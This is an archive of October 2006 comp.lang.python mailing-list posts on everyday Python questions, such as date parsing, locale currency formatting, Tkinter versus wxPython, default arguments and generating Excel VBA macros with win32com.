From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Wed, 11 Oct 2006 06:46:47 +0200 Subject: OT: Sarcasm and irony References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net><4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net><87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com><3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> Message-ID: <004501c6ecf0$430a6a20$03000080@hendrik> "Steve Holden" wrote: 8<---------------------------------------------------------------- > ....... It's well-known among Brits that Americans don't > understand irony. They can be pretty oblique when it come to sarcasms > too, for that matter. *ducks to avoid the nuclear fall out* You should not do that Steve - they have no Sense of Humour either.... - Hendrik From stoune at gmail.com Wed Oct 4 04:55:54 2006 From: stoune at gmail.com (Stoune) Date: 4 Oct 2006 01:55:54 -0700 Subject: hex sending In-Reply-To: <1159950601.039132.17120@h48g2000cwc.googlegroups.com> References: <1159949891.962523.182880@c28g2000cwb.googlegroups.com> <1159950601.039132.17120@h48g2000cwc.googlegroups.com> Message-ID: <1159952154.187184.269080@b28g2000cwb.googlegroups.com> hiroc wrote: > I want send pairs of hexadecimal characters, abc is only my test hex > char is real > Possibly this code helps to you: import binascii binascii.hexlify('hello worlds') Output: '68656c6c6f20776f726c6473' From lurker86 at gmail.com Sat Oct 21 14:34:40 2006 From: lurker86 at gmail.com (Kyujin Shim) Date: Sun, 22 Oct 2006 03:34:40 +0900 Subject: Strptime Problem with PyLucene Message-ID: I want to use time module like this. *mydate = time.strptime('17 Jul 2006 07:23:09 GMT', '%d %b %Y %H:%M:%S %Z')* But, I have some problem when I run it with PyLucene. Is there someone know about this problem? ------------------------------------------------------------ (1:351:148)$ python Python 2.4.4c0 (#2, Jul 30 2006, 15:43:58) [GCC 4.1.2 20060715 (prerelease) (Debian 4.1.1-9)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import PyLucene WARNING: Error loading security provider gnu.javax.crypto.jce.GnuCrypto: java.lang.ClassNotFoundException: gnu.javax.crypto.jce.GnuCrypto not found in [file:./, core:/] WARNING: Error loading security provider gnu.javax.crypto.jce.GnuSasl: java.lang.ClassNotFoundException: gnu.javax.crypto.jce.GnuSasl not found in [file:./, core:/] WARNING: Error loading security provider gnu.javax.net.ssl.provider.Jessie: java.lang.ClassNotFoundException: gnu.javax.net.ssl.provider.Jessie not found in [file:./, core:/] WARNING: Error loading security provider gnu.javax.security.auth.callback.GnuCallbacks: java.lang.ClassNotFoundException: gnu.javax.security.auth.callback.GnuCallbacks not found in [file:./, core:/] >>> import time >>> mydate = time.strptime('17 Jul 2006 07:23:09 GMT', '%d %b %Y %H:%M:%S %Z') Traceback (most recent call last): File "", line 1, in ? File "/usr/lib/python2.4/_strptime.py", line 293, in strptime raise ValueError("time data did not match format: data=%s fmt=%s" % ValueError: time data did not match format: data=17 Jul 2006 07:23:09 GMT fmt=%d %b %Y %H:%M:%S %Z >>> ---------------------------------------------- This works fine. ------------------------------ Type "help", "copyright", "credits" or "license" for more information. >>> import time >>> time.strptime('17 Jul 2006 07:23:09 GMT', '%d %b %Y %H:%M:%S %Z') (2006, 7, 17, 7, 23, 9, 0, 198, 0) >>> --------------------------------- -------------- next part -------------- An HTML attachment was scrubbed... URL: From steve at holdenweb.com Tue Oct 31 04:35:16 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 31 Oct 2006 09:35:16 +0000 Subject: 3d programming without opengl In-Reply-To: References: Message-ID: Paul McGuire wrote: > "nelson -" wrote in message > news:mailman.1526.1162280594.11739.python-list at python.org... > >>hi! >> i want to build up a simple 3d interactive geometry application in >>python. Since i want to run it without 3D acceleration (a scene will >>be quite simple) I was wondering if there was a library in python that >>allow me to build 3D graphic without the need to use OpenGL.... I >>google but i can't find nothing interesting... (the best would be a >>pure python solution) >> >>Thanks, >> nelson > > > Here's a page (http://www.vrplumber.com/py3d.py) with links to 73 possible > libraries. > > I've played with Slut (http://slut.sourceforge.net/) and it is quite easy to > work with. Here's a Flash movie (recorded using Wink) of a sphere that I > programmed and rotated about: > http://www.geocities.com/ptmcg/python/sphere1.htm, and here is the program > that created it: http://www.geocities.com/ptmcg/python/vecSlut2.py.txt. > > The demos that come with Slut are quite impressive, too. The Slut project > web page summarizes them here > (http://slut.sourceforge.net/examples/index.html), but the little videos > don't do them justice. > Looks like c.l.py just slashdotted you ... """The GeoCities web site you were trying to view has temporarily exceeded its data transfer limit. Please try again later.""" regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From jweida at gmail.com Sat Oct 14 11:43:15 2006 From: jweida at gmail.com (Jerry) Date: 14 Oct 2006 08:43:15 -0700 Subject: Making a shorter shebang In-Reply-To: <1160840251.769368.327090@m7g2000cwm.googlegroups.com> References: <1160840251.769368.327090@m7g2000cwm.googlegroups.com> Message-ID: <1160840595.827897.150260@f16g2000cwb.googlegroups.com> /usr/bin/env just searches your PATH variable to find it, but it does so in order. So, if you want it to find your python instead of a system provided one, just alter your PATH variable and put /home/my_username/python2.5 in front of everything else. example in .profile: PATH=/home//python2.5:$PATH export PATH -- Jerry On Oct 14, 10:37 am, "veracon" wrote: > Long story short, in order to use Python 2.5, I've compiled it in my > own account on my hosting. It works fantastic as > /home/my_username/python2.5, but the shebang is a bit long. Is there a > way to shorten it (environment variables?) or, even better, make > /usr/bin/env python point to it? > > Thanks in advance! From fredrik at pythonware.com Tue Oct 17 03:54:34 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 17 Oct 2006 09:54:34 +0200 Subject: How to paras such echo string effection? In-Reply-To: <8c8dcbe30610170044m19c93c2em79dc38694cd44fd8@mail.gmail.com> References: <8c8dcbe30610170044m19c93c2em79dc38694cd44fd8@mail.gmail.com> Message-ID: Kevien Lee wrote: > PS:is there any python lib for CVS ? there's some stuff in Demo/pdist in the Python source distribution, including a module called "cvslib". From email at christoph-haas.de Tue Oct 10 08:15:54 2006 From: email at christoph-haas.de (Christoph Haas) Date: Tue, 10 Oct 2006 14:15:54 +0200 Subject: Linting python code... In-Reply-To: References: Message-ID: <200610101415.54557.email@christoph-haas.de> On Tuesday 10 October 2006 14:06, Andrew Markebo wrote: > Are there any python-code linter out there PyLint (http://www.logilab.org/projects/pylint) PyChecker (http://pychecker.sf.net) Christoph From ptmcg at austin.rr._bogus_.com Mon Oct 16 10:00:28 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Mon, 16 Oct 2006 14:00:28 GMT Subject: A Universe Set References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com> Message-ID: <0gMYg.105677$5o5.16838@tornado.texas.rr.com> "Jorgen Grahn" wrote in message news:slrnei7icb.gim.grahn+nntp at frailea.sa.invalid... > Yes. But note that being able to write it yourself is one thing, having it > in the Standard Library and known to anyone is another. > Perhaps you could compile the submissions in this thread into an entry in the Python Cookbook. Probably the next best thing to being in the stdlib, and it might even make it into the next print edition (earning you a free copy!). -- Paul From robin at reportlab.com Wed Oct 25 14:06:29 2006 From: robin at reportlab.com (Robin Becker) Date: Wed, 25 Oct 2006 19:06:29 +0100 Subject: unsigned 32 bit arithmetic type? In-Reply-To: <453FA2F9.4010003@v.loewis.de> References: <453F3189.5000502@chamonix.reportlab.co.uk> <7xu01s9yoz.fsf@ruckus.brouhaha.com> <453F9B42.8060401@v.loewis.de> <453FA2F9.4010003@v.loewis.de> Message-ID: <453FA7A5.80706@chamonix.reportlab.co.uk> Martin v. L?wis wrote: ........ > As I said: you need to fix the final outcome: > > py> x = 0xFFFFFFFFL > py> hex(x) > '0xFFFFFFFFL' > ........ > > and so on. Whether you perform the modulo operation after > each step, or only at the end, has no impact on the result. All hail congruency classes. I still miss the CDC 6000's where we had two zeroes :) -- Robin Becker From bgirardot at gmail.com Wed Oct 25 16:25:03 2006 From: bgirardot at gmail.com (Blake Girardot) Date: Wed, 25 Oct 2006 16:25:03 -0400 Subject: [OT] Need Python Programmer for contract work Message-ID: <453FC81F.8070101@mac.com> Hi, Sorry to intrude on the list, but I am looking for an experienced Python programmer to do some maintenance on an existing 800 line python script and this seemed like it might be a good source. The script reads IPTC info from images and then does some various file handling based on the values in the IPTC info. I am really looking for someone who is both expert in Python and has experience with IPTC and XMP. We are talking about probably 10 - 20 hours of total work for this one set of updates with ongoing opportunity for support and enhancements. Please contact me off list only since this is OT. Please include a brief summary of your experience, hourly rate, a phone number and the best time to reach you. Location doesn't matter to me, it is all telecommute work anyway. Best Wishes. From nitte.sudhir at gmail.com Fri Oct 6 07:47:27 2006 From: nitte.sudhir at gmail.com (kath) Date: 6 Oct 2006 04:47:27 -0700 Subject: TypeError: unsupported type for timedelta days component: unicode Message-ID: <1160135247.133780.96690@m73g2000cwd.googlegroups.com> Hi, the following shows the contents of "datebook.xls" Date 8/9/2006 8/9/2006 8/9/2006 8/9/2006 8/9/2006 # read_date.py import xlrd book = xlrd.open_workbook("datebook.xls") sh = book.sheet_by_index(0) ex_qdate=sh.cell_value(rowx=1,colx=0) pyd=datetime.date(1900,1,1)+datetime.timedelta(days=sh.cell_value(rowx=1,colx=0)) print pyd for c in range(sh.ncols): for r in range(sh.nrows): print sh.cell_value(rowx=r,colx=c) print datetime.date(1900,1,1)+datetime.timedelta(days=sh.cell_value(rowx=r,colx=c)) ---- Output ---- >>> 2006-08-11 Date Traceback (most recent call last): File "D:/Python23/Testing area/Python and Excel/read_date.py", line 12, in ? print datetime.date(1900,1,1)+datetime.timedelta(days=sh.cell_value(rowx=r,colx=c)) TypeError: unsupported type for timedelta days component: unicode >>> The first print statement gives me desired output. Whats wrong with second print statement? When I give the discriptor or index explicitly its giving the correct answer. Why not in the loop? Am I wrong some where? Please help me. Thank you, Sudhir. From mattabat at gmail.com Wed Oct 4 05:34:24 2006 From: mattabat at gmail.com (mattabat at gmail.com) Date: 4 Oct 2006 02:34:24 -0700 Subject: Getting Pygopherd to work under Mac OS X Message-ID: <1159954464.194392.190600@m73g2000cwd.googlegroups.com> Hello, Could someone *please* show us poor Mac users how to install and run Pygopherd successfully under Mac OS X? The latest version 2.0.4, as found at http://freshmeat.net/projects/pygopherd/ is my bane. I think I talked to John Goerzen, the maintainer, a while back but nothing came of it. I've tried this twice now, following the instructions given and have found nothing but grief and many errors. For a Python app it seems to be rather platform dependant! Does Pygopherd need to be altered somehow to work under OS X? If Pygopherd is a lost cause, can someone recommend another *maintained* gopher daemon with instructions that would allow its' use under OS X? -- mattabat From rinderspacher at bits-ac.com Tue Oct 17 10:16:05 2006 From: rinderspacher at bits-ac.com (jr) Date: 17 Oct 2006 07:16:05 -0700 Subject: Format a number as currency! I can't find any help on this simple problem. In-Reply-To: <1160537295.884864.162200@i3g2000cwc.googlegroups.com> References: <1160537295.884864.162200@i3g2000cwc.googlegroups.com> Message-ID: <1161094565.268129.132600@f16g2000cwb.googlegroups.com> Hi, Bernard. Just tried the first 2 commands on win XP, Python 2.5 under Idle. An Error is raised: "unsupported locale setting" (lib/locale.py in setlocale, line 476). Actually I get the error also under Python 2.4.3 Any idea what I'm missing? Thanks in advance. J?rgen Bernard wrote: > >>> import locale > >>> locale.setlocale(locale.LC_ALL, 'English_United States.1252') > 'English_United States.1252' > >>> conv = locale.localeconv() > >>> x = 1234567.8 > >>> locale.format("%d", x, grouping=True) > '1,234,567' > >>> locale.format("%s%.*f", (conv['currency_symbol'], conv['int_frac_digits'], x), grouping=True) > '$1,234,567.80' > > Hi Richards, > > This works for me. I agree it's a bit complicated compared to C# but it > works. I'd put it in a function if I had to use it. > > > Richard Kessler wrote: > > I am relatively new to Python. Love it, but I find things that I can do > > easily in .NET and cannot find a way to do in Python. I need to format a > > number as currency, for example 12343.56 to $12,343.56. > > > > In C# all I need to do is decimal x = 12343.56 then x.ToString("$###,###.00"); > > > > I cannot find a way to do this in Python. I must be missing something very > > simple here. I have tried the locale module but it will not put in the commas. > > I hope I do not have to write my own formatting routine...surely one is out > > there and I just can't find it. > > > > Running on XP Pro. Python 2.4.3. > > > > Thanks much in advance, > > > > Richard From mail at microcorp.co.za Fri Oct 20 01:57:05 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Fri, 20 Oct 2006 07:57:05 +0200 Subject: invert or reverse a string... warning this is a rant References: Message-ID: <038b01c6f413$1f0c65e0$03000080@hendrik> "Fredrik Lundh" wrote: 8<--------------------------- > 'a man a plan a canal panama' is not a palindrome > > ? not if spaces count - able was I ere I saw elba - is one - but its a tougher test... - Hendrik From Laundro at gmail.com Wed Oct 4 04:15:35 2006 From: Laundro at gmail.com (LaundroMat) Date: 4 Oct 2006 01:15:35 -0700 Subject: What value should be passed to make a function use the default argument value? In-Reply-To: <1159913032.464542.17170@c28g2000cwb.googlegroups.com> References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <1159913032.464542.17170@c28g2000cwb.googlegroups.com> Message-ID: <1159949735.804278.141340@i42g2000cwa.googlegroups.com> Rob De Almeida wrote: > LaundroMat wrote: > > Suppose I have this function: > > > > def f(var=1): > > return var*2 > > > > What value do I have to pass to f() if I want it to evaluate var to 1? > > I know that f() will return 2, but what if I absolutely want to pass a > > value to f()? "None" doesn't seem to work.. > > If you *absolutely* want to pass a value and you don't know the default > value (otherwise you could just pass it): > > >>> import inspect > >>> v = inspect.getargspec(f)[3][0] # first default value > >>> f(v) > 2 I have in fact a bunch of functions that all pass similar information to one main function. That function takes (amongst others) a template variable. If it's not being passed, it is set to a default value by the function called upon. For the moment, whenever a function calls the main function, I check whether the calling function has the template variable set: >>> if template: >>> return mainFunction(var, template) >>> else: >>> return mainFunction(var) Now, I thought this isn't the cleanest way to do things; so I was looking for ways to initialize the template variable, so that I could always return mainFunction(var, template). mainFunction() would then assign the default value to template. >From your answers, this seems to be impossible. The minute my variable is initialised, there's no way I can have mainFunction() assign a value without explicitly asking it to do so. I guess the best way would then be to change mainFunction from: >>> def mainFunction(var, template='base'): to >>> def mainFunction(var, template): >>> if len(template)=0: >>> template = 'base' and have the calling functions call mainFunction (var, template) and initialise template to ''. I still have that nagging feeling nicer code could be written to solve this, but I won't try to lose any sleep over it. Thanks for all the replies. From anthra.norell at vtxmail.ch Mon Oct 16 05:15:01 2006 From: anthra.norell at vtxmail.ch (Frederic Rentsch) Date: Mon, 16 Oct 2006 11:15:01 +0200 Subject: Ok. This IS homework ... In-Reply-To: <1160866295.553656.112730@m7g2000cwm.googlegroups.com> References: <1160866295.553656.112730@m7g2000cwm.googlegroups.com> Message-ID: <45334D95.908@vtxmail.ch> spawn wrote: > but I've been struggling with this for far too long and I'm about to > start beating my head against the wall. > > My assignment seemed simple: create a program that will cacluate the > running total of user inputs until it hits 100. At 100 it should stop. > That's not the problem, in fact, that part works. It's the adding > that isn't working. How can my program add 2 + 7 and come up with 14? > > I'm posting my code (so that you may all laugh). If ANYONE has any > ideas on what I'm doing wrong, I'd appreciate. > > --------------------------------------------------- > > running = True > goal = 100 > > # subtotal = 0 > # running_total = subtotal + guess > > while running: > guess = int(raw_input('Enter an integer that I can use to add : ')) > subtotal = guess > > while running: > guess = int(raw_input('I\'ll need another number : ')) > running_total = guess + subtotal > print running_total > > if running_total == goal: > print 'Congratulations! You\'re done.' > > elif running_total > goal: > print 'That\'s a good number, but too high. Try again.' > > print 'Done' > > -------------------------- > > I tried adding an additional "while" statement to capture the second > number, but it didn't seem to solve my problem. Help! > > Dear anonymous student, Once upon a time programmers did things like this: BEGIN | -------------->|<------------------------------------- | | | | catch input | | | | | input type valid? - prompt for correct input --| | + | | input too large? + --- prompt for new input -- | - | add to running total | | | status report | | -- - running total >= max? + report done | END It was called a flow chart. Flow charts could be translated directly into machine code written in assembly languages which had labels, tests and jumps as the only flow-control constructs. When structured programming introduced for and while loops they internalized labeling and jumping. That was a great convenience. Flow-charting became rather obsolete because the one-to-one correspondence between flow chart and code was largely lost. I still find flow charting useful for conceptualizing a system of logical states too complex for my intuition. Everybody's intuition has a limit. Your homework solution shows that the assignment exceeds yours. So my suggestion is that you use the flow chart, like this: def homework (): # Local functions. (I won't do those for you.) def explain_rules (): def check_type (r): def explain_type (): def check_size (r): def explain_max_size (): def report_status (rt): def report_done (): # Main function GOAL = 100 # BEGIN MAX_INPUT = 20 # | running_total = 0 # | # | explain_rules () # | # | while 1: # -------------->|<------------------------------------- # | | | response = raw_input ('Enter a number > ') # | catch input | # | | | if check_type (response) == False: # | input type valid? - prompt for correct input --| explain_type () # | + | continue # | | | # | | | if check_size (response) == False: # | input too large? + --- prompt for new input -- explain_max_size () # | - continue # | | # | | running_total += int (response) # | add to running total report_status (running_total) # | status report # | | if running_total >= GOAL: # -- - running total >= max? break # + # | report_done () # report done # | #? return (whatever) # END Frederic (... inviting you to sign your posts and to let me know the grade your teacher gives you for completing the local functions.) From python at hope.cz Wed Oct 18 12:31:50 2006 From: python at hope.cz (Lad) Date: 18 Oct 2006 09:31:50 -0700 Subject: Dictionaries In-Reply-To: References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com> Message-ID: <1161189110.702575.162220@f16g2000cwb.googlegroups.com> Steven, Thank you for your reply and question. > > What should the result be if both dictionaries have the same key? The answer: the values should be added together and assigned to the key That is {'a':1, 'b':5} ( from your example below) Is there a solution? Thanks for the reply L. > > a={'a':1, 'b'=2} > b={'b':3} > > should the result be: > {'a':1, 'b'=2} # keep the existing value > {'a':1, 'b'=3} # replace the existing value > {'a':1, 'b'=[2, 3]} # keep both values > or something else? > > Other people have already suggested using the update() method. If you want > more control, you can do something like this: > > def add_dict(A, B): > """Add dictionaries A and B and return a new dictionary.""" > C = A.copy() # start with a copy of A > for key, value in B.items(): > if C.has_key(key): > raise ValueError("duplicate key '%s' detected!" % key) > C[key] = value > return C > > > -- > Steven. From yellowalienbaby at gmail.com Wed Oct 18 17:38:12 2006 From: yellowalienbaby at gmail.com (yellowalienbaby at gmail.com) Date: 18 Oct 2006 14:38:12 -0700 Subject: Getting method name from within the class method In-Reply-To: References: Message-ID: <1161207492.298811.178110@m7g2000cwm.googlegroups.com> Mitko Haralanov wrote: > I need to be able to get the name of the currently executed method > within that method. I know that the method object does have the > __name__ attribute but I know know how to access it from withing the > method. > > Something like this: > > class A: > .... > def a_method (self, this, that): > print <__name__> > > a = A () > a.a_method() > 'a_method' > > > Thanx for your help! I'm not sure this is what you want, it seems redundant to me so i am probably misunderstanding something, but I did; >>> class test(object): ... def a_method(self,this,that): ... print self.a_method.__name__ ... >>> a=test() >>> a.a_method('this','that') a_method From noway at sorry.com Wed Oct 4 03:39:56 2006 From: noway at sorry.com (Giovanni Bajo) Date: Wed, 04 Oct 2006 07:39:56 GMT Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> Message-ID: Fredrik Lundh wrote: > that's just not true. lots of people have voiced concerns over using > closed-sourced stuff originally designed for enterprise-level Java > users for an application domain where Python has several widely used > agile alternatives to chose from. Frankly, I don't give a damn about the language the application is coded in, as long as it is OUR application and not an application of a private company which we do not own. Even though you are totally right. -- Giovanni Bajo From Maria.Reinhammar at accalon.com Tue Oct 10 09:22:19 2006 From: Maria.Reinhammar at accalon.com (MaR) Date: 10 Oct 2006 06:22:19 -0700 Subject: Logic Programming Message-ID: <1160486539.646429.129230@i42g2000cwa.googlegroups.com> Yes! The question rears its head once again! ;o) I have done some search and trial and horrors.. (PyLog has vanished?) But I fail to find anything useful when it comes to do Logic Programming (e.g. Prolog'ish) in the context of Python. And yes, I tend to beleive that I need to! No, I do not really like the idea of piping def's and queries to SWI-prolog ?la PyProlog. So, I would be *so* happy if someone could point at some module that gives me the possibility to define a knowledgebase and queries from within Python and still access the structures from Python code. *pleeze!* From ath-admin at vt.edu Thu Oct 19 13:58:46 2006 From: ath-admin at vt.edu (rick) Date: Thu, 19 Oct 2006 13:58:46 -0400 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: Message-ID: Demel, Jeff wrote: > Ok, let me re-phrase: > > ...[snip]... > I've been programming professionally for over 10 years, and have never > once needed to reverse a string *or detect a palindrome*. Maybe it's a > lack of imagination on my part, but I can't think of a single instance > this might be necessary. > ...[snip]... I read files backwards all the time. Just for the heck of it. Now, maybe I don't *need* to do this, but I do and I'd like to be able to do so like this: x = open('file_name') print x.read().reverse() *OR* print reverse(x.read()) x.close() To me, that makes sense. Of course, like I said earlier, I think backwards. From peter.maas at somewhere.com Fri Oct 6 16:55:38 2006 From: peter.maas at somewhere.com (Peter Maas) Date: Fri, 06 Oct 2006 22:55:38 +0200 Subject: n-body problem at shootout.alioth.debian.org In-Reply-To: <87sli1yz0c.fsf@pobox.com> References: <87sli1yz0c.fsf@pobox.com> Message-ID: John J. Lee wrote: > Replacing ** with multiplication in advance() cut it down to 0.78 > times the original running time for me. That brings it along side > PHP, one place below Perl (I didn't bother to upload the edited script). I tried this also but got only 90%. Strange. -- Regards/Gruesse, Peter Maas, Aachen E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64') From ptmcg at austin.rr._bogus_.com Fri Oct 13 11:36:02 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Fri, 13 Oct 2006 15:36:02 GMT Subject: Line algorithim for python and numeric References: <1160749997.673677.325150@m73g2000cwd.googlegroups.com><463ff4860610130741r48df2cfeu30e1b17eb124b350@mail.gmail.com> Message-ID: "Paul McGuire" wrote in message news:kdOXg.47125$DU3.14756 at tornado.texas.rr.com... > "Tim Chase" wrote in message > news:mailman.451.1160752377.11739.python-list at python.org... >>>> I'm wondering if anyone knows of a way to extract data from a numeric >>>> array along a line. I have a gridded dataset which I would like to be >>>> able to choose two points and extract a 1-d array of the data values >>>> along the line between the two points. Any ideas? >>> >>> Are these all 45 degree lines or what? >>> >>> If not, you'll have to use trigonometry and approximate the closest >>> matching cell. (Don't worry, Python has maths functions!! :)) >> >> >> There are a couple of optimal/easy cases where the run is horizontal, >> vertical, or as you describe, 45-degrees (where x_step = y_step or x_step >> = -y_step) >> >> Any other set of arbitrary points, and you will have to specify the >> behavior a little more finely. >> >> You can use something like Bresenham's algorithm to march either "over" >> or "up and over" to just pick out the "one point at each step that falls >> closest to the actual line" along the run. There's also the Wu >> Anti-aliasing line algorithm which takes something akin to Bresenham's >> algorithm and then samples the potential points to yield an >> "anti-aliased" result which averages the two potential data-points >> (traditionally colors, but they could really be any average-able data >> values). >> >> I'm not sure I've seen either of them implemented in Python before >> (though actually *looking* for them might increase those odds ;-) >> >> http://en.wikipedia.org/wiki/Xiaolin_Wu's_line_algorithm >> >> has details and a pseudo-code implementation (which shouldn't be too far >> from the Python code). It's also got links to stuff on Bresenham's. >> >> -tkc >> >> > No need for Bresenham's algorithm here. The point behind BA is to draw a > connected line using best selection of points, going cell-by-adjacent-cell > through the pixel map, so that you actually get a solid line in the > result. The OP's problem is much simpler - he/she (is "Theresaak" a boy > name or a girl name?) just wants the array of grid coordinates between a > starting and ending cell, so "continuousness" of the line is not an issue. > > -- Paul > Hmmm, maybe I was a little hasty. Re-reading the OP's post, he/she may in fact want the Bresenham-type traversal of the grid from point A to point B. Need a little more info on requirements, Theresaak. -- Paul From smcg4191zz at friizz.RimoovAllZZs.com Mon Oct 9 19:36:12 2006 From: smcg4191zz at friizz.RimoovAllZZs.com (Stuart McGraw) Date: Mon, 9 Oct 2006 17:36:12 -0600 Subject: does raw_input() return unicode? Message-ID: <12iln7en9ipit77@corp.supernews.com> In the announcement for Python-2.3 http://groups.google.com/group/comp.lang.python/msg/287e94d9fe25388d?hl=en it says "raw_input(): can now return Unicode objects". But I didn't see anything about this in Andrew Kuchling's "2.3 What's New", nor does the current python docs for raw_input() say anything about this. A test on a MS Windows system with a cp932 (japanese) default locale shows the object returned by raw_input() is a str() object containing cp932 encoded text. This remained true even when I set Python's default encoding to cp932 (in sitecustomize.py). So, does raw_input() ever return unicode objects and if so, under what conditions? From kw at kevin-walzer.com Thu Oct 19 15:29:44 2006 From: kw at kevin-walzer.com (Kevin Walzer) Date: Thu, 19 Oct 2006 15:29:44 -0400 Subject: Tkinter--does anyone use it for sophisticated GUI development? Message-ID: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> I'm a Tcl/Tk developer who has been working, slowly, at learning Python, in part because Python has better support for certain kinds of applications that I want to develop than Tcl/Tk does. Naturally, I thought that I would use Tkinter as the GUI for these programs. However, in doing research into GUI development techniques, sample code, and showcase applications, what has struck me is how little sophisticated GUI development seems to be done in Tkinter as compared to, say, wxPython. I've found plenty of tutorials on how to do basic GUI stuff with Tkinter, but that stuff pretty much ends with the core Tk widgets (buttons, entry fields, scrollbars, and menu items). Coming from Tcl/Tk, where there are a huge number of extension packages to enhance the Tk widgets and which allow you to make really polished GUI's, I'm struck mainly by how little of this stuff has made it over into Tkinter/Python. For instance, I've developed several Tcl applications that use the core Tk widgets, the Tile theming package, the Bwidget set (great tree widget and listbox, which allows you to embed images), and tablelist (an extremely flexible muti-column listbox display). I've found Python wrappers for some of this stuff, but almost no documentation on how to use them, and very little in the way of actual applications making use of them--which is itself a red flag. And most of the pure-Python extension stuff that I've found, such as Python megawidgets, is pretty dated/ugly and lags far behind the comparable stuff on the Tcl side. Am I better off biting the bullet and learning wxPython--a different GUI paradigm to go with the new language I'm trying to learn? I had hoped to reduce my learning curve, but I'm very concerned that I simply can't do what I want to do with Tkinter. What do other Tkinter developers think? From fredrik at pythonware.com Fri Oct 6 08:20:35 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 06 Oct 2006 14:20:35 +0200 Subject: TypeError: unsupported type for timedelta days component: unicode In-Reply-To: <1160136815.138846.157910@b28g2000cwb.googlegroups.com> References: <1160135247.133780.96690@m73g2000cwd.googlegroups.com> <1160136815.138846.157910@b28g2000cwb.googlegroups.com> Message-ID: John Machin wrote: > Why are you keeping your own files in a subdirectory of your Python > installation? IDLE defaults to the installation directory, so that's an easy thing to do. and as long as you put it in a subdirectory, it's not much of a problem either. (at least not until you want to uninstall Python...) From bignose+hates-spam at benfinney.id.au Sun Oct 22 05:55:11 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Sun, 22 Oct 2006 19:55:11 +1000 Subject: A very nice free browser to try... References: <1161503124.710374.286500@f16g2000cwb.googlegroups.com> Message-ID: <87mz7ovfnk.fsf@benfinney.id.au> bj_private at yahoo.com writes: > There's a very nice browser Please don't spam about products unrelated to Python here. -- \ "A celebrity is one who is known by many people he is glad he | `\ doesn't know." -- Henry L. Mencken | _o__) | Ben Finney From bj_666 at gmx.net Sat Oct 14 04:25:09 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Sat, 14 Oct 2006 10:25:09 +0200 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <1160802056.744732.323540@e3g2000cwe.googlegroups.com> <1160808124.455062.319660@m7g2000cwm.googlegroups.com> Message-ID: In <1160808124.455062.319660 at m7g2000cwm.googlegroups.com>, Kay Schluehr wrote: > brenocon at gmail.com wrote: > >> Many have complained about this crippled-ness of lambda, but it >> actually makes some sense. Since Python uses colons and indentation to >> define blocks of code, it would be awkward to close a multiline lambda. >> The best I could think of would look like >> >> deferred.addCallback(lambda r: >> print("fancy formatting %s" % r.text) >> ) >> >> ^ >> | >> >> That trailing paranthesis is WAY un-Pythonic. > > Maybe it is not common place because some users are underinformed and > hypnotized by whitespace semantics but you can add a trailing backslash > to achieve line coninuation within a single expression: > >>>> deferred.addCallback(lambda r: puts("fancy formatting %s" \ > ... )) > > This works syntactically. It works just fine without the trailing backslash. A "logical line" does not end until all opened parenthesis and brackets are matched by their closing counterpart. Ciao, Marc 'BlackJack' Rintsch From fredrik at pythonware.com Tue Oct 24 05:03:12 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 24 Oct 2006 11:03:12 +0200 Subject: Protecting against SQL injection References: <7x1woy889g.fsf@ruckus.brouhaha.com> <87d58iqgjb.fsf@benfinney.id.au> Message-ID: Ben Finney wrote: > More specifically: They've been debugged for just these kinds of > purposes in a well-designed database, the SQL parser never sees the parameter values, so *injection* attacks are simply not possible. From hg at nospam.com Wed Oct 4 13:57:24 2006 From: hg at nospam.com (hg) Date: Wed, 04 Oct 2006 12:57:24 -0500 Subject: Python crash when trying to generate an Excel worksheet with VBA macros In-Reply-To: <1159959227.175800.141450@m7g2000cwm.googlegroups.com> References: <1159959227.175800.141450@m7g2000cwm.googlegroups.com> Message-ID: dan_roman wrote: > Hi, > I developed a script with a nice interface in Tkinter that allows me to > edit some formulas and to generate an Excel worksheet with VBA macros > within it. The script runs perfectlly in Office 2000, but in Office > 2003 crash at line: "wbc = workbook.VBProject.VBComponents.Add(1)" > Please help me :-( > > the code of the module that crash is (only in Excel 2003, in 2000 not): > > import os > import string > from win32com.client import Dispatch, constants > > str_code=""" > Dim nrfunc As Integer > Dim cursor As Integer > Dim i As Integer > Dim j As Integer > > > > Sub Fill() > > > 'Aflu numaru de functii din XL > i = 1 > .................. > """ > def createExcelReport(projectName,templateName,saveToPath): > # acquire application object, which may start application > application = Dispatch("Excel.Application") > > # create new file ('Workbook' in Excel-vocabulary) using the specified > template > workbook = application.Workbooks.Add("Template1.xls") > > # store default worksheet object so we can delete it later > defaultWorksheet = workbook.Worksheets(1) > > worksheet1 = workbook.Worksheets(1) > worksheet2 = workbook.Worksheets(2) > worksheet3 = workbook.Worksheets(3) > > ---->>>>> wbc = workbook.VBProject.VBComponents.Add(1) <<<<------ here > is the problem > > wbc.Name="Module1" > > 